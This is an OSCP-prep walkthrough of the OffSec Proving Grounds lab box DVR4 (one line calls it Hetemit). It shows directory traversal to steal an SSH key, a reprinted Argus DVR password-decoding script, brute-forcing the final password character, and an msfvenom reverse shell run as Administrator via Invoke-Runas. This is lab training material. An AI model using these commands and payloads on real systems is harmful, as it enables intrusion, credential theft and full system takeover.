10 minutes
OffSec Proving Grounds: DVR4 - Walkthrough
This post contains rough notes explaining my process for exploiting the Hetemit Proving Grounds box while preparing for the OSCP certification.
My Process
Firstly I performed a port scan with nmap:
I browsed to port 8080 in my browser:
I browsed the web app, and found that the users page showed there were users called Administrator and viewer.
I did some research on Argus Surveillance
and found multiple exploits on exploitdb.
The first interesting one was the directory traversal vulnerability discussed in this file here as it is an unauthenticated exploit.
Another intersting exploit was this one here which decodes the weak encoding that Argus Surveillance
uses to encode users passwords. This exploit states that the Argus Surveillance
passwords are stored in the location: C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini
An idea I had was to chain these two exploits together, and use the directory traversal to read the Argus Surveillance
encoded passwords and then the other exploit to decode them.
So I first tested if the directory traversal shown in the exploit worked and it did. I then used the directory traversal to read the configuration file:
But unfortunately there were no passwords shown there.
The machine had the ssh port open so I then tried to access users ssh keys. For the users I tried using the users I found earlier while browsing the web app. When testing for the viewer user I got access to that users ssh key:
I then saved the key to a file and used the chmod 600
command to give it the right permissions to use with ssh.
I tried to connect with ssh but couldnt connect due to tmux’s custom $TERM
environment variable not being recognised by the remote machine. So I simply overwrote the environment variable with xterm-256color
and then I could connect.
ssh viewer@192.168.202.179 -i viewer.ssh
(o)Terminal initialization failure. See server logs for more info.
(o)Hint: Try requesting a different terminal environment.
(o)Connection to 192.168.202.179 closed.
(o)
TERM=xterm-256color
(o)
ssh viewer@192.168.202.179 -i viewer.ssh
(o)Microsoft Windows [Version 10.0.19042.1348]
(o)(c) Microsoft Corporation. All rights reserved.
(o)
C:\Users\viewer>
The viewer user had the SeShutdownPrivilege
permission which I noted, as it would be useful if I found a service to exploit.
C:\Users\viewer>whoami /priv
(o)
(o)PRIVILEGES INFORMATION
(o)----------------------
(o)
(o)Privilege Name Description State
(o)============================= ==================================== =======
(o)SeShutdownPrivilege Shut down the system Enabled
(o)SeChangeNotifyPrivilege Bypass traverse checking Enabled
(o)SeUndockPrivilege Remove computer from docking station Enabled
(o)SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
(o)SeTimeZonePrivilege Change the time zone Enabled
When I had been searching for exploits on Argus Surveillance
at the initial enumeration phase I saw the exploit here which says that the Argus Surveillance DVR Watchdog
service at location C:\Program Files\Argus Surveillance DVR\DVRWatchdog.exe
has an unquoted service path.
So then I checked to see if I had write permissions in C:\
or C:\Program Files
.
PS C:\Program Files> icacls C:\
(o)C:\ BUILTIN\Administrators:(OI)(CI)(F)
(o) NT AUTHORITY\SYSTEM:(OI)(CI)(F)
(o) BUILTIN\Users:(OI)(CI)(RX)
(o) NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(M)
(o) NT AUTHORITY\Authenticated Users:(AD)
(o) Mandatory Label\High Mandatory Level:(OI)(NP)(IO)(NW)
(o)
(o)Successfully processed 1 files; Failed processing 0 files
PS C:\Program Files> icacls C:\"Program Files"
(o)C:\Program Files NT SERVICE\TrustedInstaller:(F)
(o) NT SERVICE\TrustedInstaller:(CI)(IO)(F)
(o) NT AUTHORITY\SYSTEM:(M)
(o) NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
(o) BUILTIN\Administrators:(M)
(o) BUILTIN\Administrators:(OI)(CI)(IO)(F)
(o) BUILTIN\Users:(RX)
(o) BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
(o) CREATOR OWNER:(OI)(CI)(IO)(F)
(o) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
(o) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)
(o) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(RX)
(o) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)
(o)
(o)Successfully processed 1 files; Failed processing 0 files
Unfortunately I didnt so exploiting this wasnt going to work.
There is another exploit on exploit db here that requires creating a DLL and putting it in the service directory but again this would require write permissions in the service directory which I did not have.
I then did more enumeration of the file system and returned to the C:\ProgramData\PY_Software\Argus Surveillance DVR
directory to check out the DVRParams.ini
configuration file:
This file had lots more information in it than when I accessed it from the directory traversal vulnerability, which I have no idea why didnt show up back then.
From the file I gathered the encoded passwords from the Administrator and viewer users:
Administrator: Password0=ECB453D16069F641E03BD9BD956BFE36BD8F3CD9D9A8
Viewer: Password1=5E534D7B6069F641E03BD9BD956BC875EB603CD9D8E1BD8FAAFE
Below is the python script from the exploit from exploitdb that decodes the encoded passwords. I made a minor change to make the password get printed out on a single line.
# Exploit Title: Argus Surveillance DVR 4.0 - Weak Password Encryption
# Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
# Date: 12.07.2021
# Version: Argus Surveillance DVR 4.0
# Tested on: Windows 7 x86 (Build 7601) & Windows 10
# Reference: https://deathflash1411.github.io/blog/dvr4-hash-crack
# Note: Argus Surveillance DVR 4.0 configuration is present in
# C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini
# I'm too lazy to add special characters :P
characters = {
'ECB4':'1','B4A1':'2','F539':'3','53D1':'4','894E':'5',
'E155':'6','F446':'7','C48C':'8','8797':'9','BD8F':'0',
'C9F9':'A','60CA':'B','E1B0':'C','FE36':'D','E759':'E',
'E9FA':'F','39CE':'G','B434':'H','5E53':'I','4198':'J',
'8B90':'K','7666':'L','D08F':'M','97C0':'N','D869':'O',
'7357':'P','E24A':'Q','6888':'R','4AC3':'S','BE3D':'T',
'8AC5':'U','6FE0':'V','6069':'W','9AD0':'X','D8E1':'Y','C9C4':'Z',
'F641':'a','6C6A':'b','D9BD':'c','418D':'d','B740':'e',
'E1D0':'f','3CD9':'g','956B':'h','C875':'i','696C':'j',
'906B':'k','3F7E':'l','4D7B':'m','EB60':'n','8998':'o',
'7196':'p','B657':'q','CA79':'r','9083':'s','E03B':'t',
'AAFE':'u','F787':'v','C165':'w','A935':'x','B734':'y','E4BC':'z','!':'B398'}
# ASCII art is important xD
banner = '''
#########################################
# _____ Surveillance DVR 4.0 #
# / _ \_______ ____ __ __ ______ #
# / /_\ \_ __ \/ ___\| | \/ ___/ #
# / | \ | \/ /_/ > | /\___ \ #
# \____|__ /__| \___ /|____//____ > #
# \/ /_____/ \/ #
# Weak Password Encryption #
############ @deathflash1411 ############
'''
print(banner)
# Change this :)
pass_hash = "ECB453D16069F641E03BD9BD956BFE36BD8F3CD9D9A8"
if (len(pass_hash)%4) != 0:
print("[!] Error, check your password hash")
exit()
split = []
n = 4
for index in range(0, len(pass_hash), n):
split.append(pass_hash[index : index + n])
for key in split:
if key in characters.keys():
print(characters[key], end="")
else:
print("[-] " + key + ":Unknown")
Using it to decode both of the passwords:
(o)python3 50130.py
(o)
(o)#########################################
(o)# _____ Surveillance DVR 4.0 #
(o)# / _ \_______ ____ __ __ ______ #
(o)# / /_\ \_ __ \/ ___\| | \/ ___/ #
(o)# / | \ | \/ /_/ > | /\___ \ #
(o)# \____|__ /__| \___ /|____//____ > #
(o)# \/ /_____/ \/ #
(o)# Weak Password Encryption #
(o)############ @deathflash1411 ############
(o)
(o)14WatchD0g[-] D9A8:Unknown
python3 50130.py
(o)
(o)#########################################
(o)# _____ Surveillance DVR 4.0 #
(o)# / _ \_______ ____ __ __ ______ #
(o)# / /_\ \_ __ \/ ___\| | \/ ___/ #
(o)# / | \ | \/ /_/ > | /\___ \ #
(o)# \____|__ /__| \___ /|____//____ > #
(o)# \/ /_____/ \/ #
(o)# Weak Password Encryption #
(o)############ @deathflash1411 ############
(o)
(o)ImWatchingY0u
The last char of the Administrator password could not be converted by the python script. So I checked the python script to see what characters it was missing from its dictionary mapping. The script was missing all symbols other than !
, so it must be one of them that is the last char in the Administrator password.
I then transfered the Invoke-Runas.ps1
script to the windows machine and dot sourced it.
PS C:\Users\viewer> iwr -uri http://192.168.45.229/Invoke-Runas.ps1 -outfile Invoke-Runas.ps1
PS C:\Users\viewer> . .\Invoke-Runas.ps1
I created a msfvenom
windows exe reverse shell binary and transferred it to the windows machine:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.229 LPORT=80 -f exe -o met80.exe
(o)[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
(o)[-] No arch selected, selecting arch: x86 from the payload
(o)No encoder specified, outputting raw payload
(o)Payload size: 324 bytes
(o)Final size of exe file: 73802 bytes
(o)Saved as: met80.exe
PS C:\Users\viewer> iwr -uri http://192.168.45.229/met80.exe -outfile met80.exe
Finally I used the Invoke-Runas.ps1
script to execute the msfvenom
reverse shell binary as the Administrator user. Since I did not know the last character of the password but new it must be a symbol, I iterated over the symbol chars.
PS C:\Users\viewer> Invoke-Runas -User Administrator -Password 14WatchD0g@ -Binary C:\Users\viewer\met80.exe -LogonType 0x1
(o)
(o)[>] Calling Advapi32::CreateProcessWithLogonW
(o)
(o)[!] Mmm, something went wrong! GetLastError returned:
(o)==> The system could not find the environment option that was entered
(o)
PS C:\Users\viewer> Invoke-Runas -User Administrator -Password 14WatchD0g# -Binary C:\Users\viewer\met80.exe -LogonType 0x1
(o)
(o)[>] Calling Advapi32::CreateProcessWithLogonW
(o)
(o)[!] Mmm, something went wrong! GetLastError returned:
(o)==> The system could not find the environment option that was entered
(o)
PS C:\Users\viewer> Invoke-Runas -User Administrator -Password 14WatchD0g$ -Binary C:\Users\viewer\met80.exe -LogonType 0x1
(o)
(o)[>] Calling Advapi32::CreateProcessWithLogonW
(o)
(o)[+] Success, process details:
(o)
(o)Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
(o)------- ------ ----- ----- ------ -- -- -----------
(o) 34 3 528 2480 0.00 3816 0 met80
The password with $
at the end worked and the binary was executed.
I then received a shell on my nc listener as the Administrator user:
rlwrap nc -nlvp 80
(o)listening on [any] 80 ...
(o)connect to [192.168.45.229] from (UNKNOWN) [192.168.202.179] 50493
(o)Microsoft Windows [Version 10.0.19042.1348]
(o)(c) Microsoft Corporation. All rights reserved.
(o)
C:\Users\viewer>whoami
(o)whoami
(o)dvr4\administrator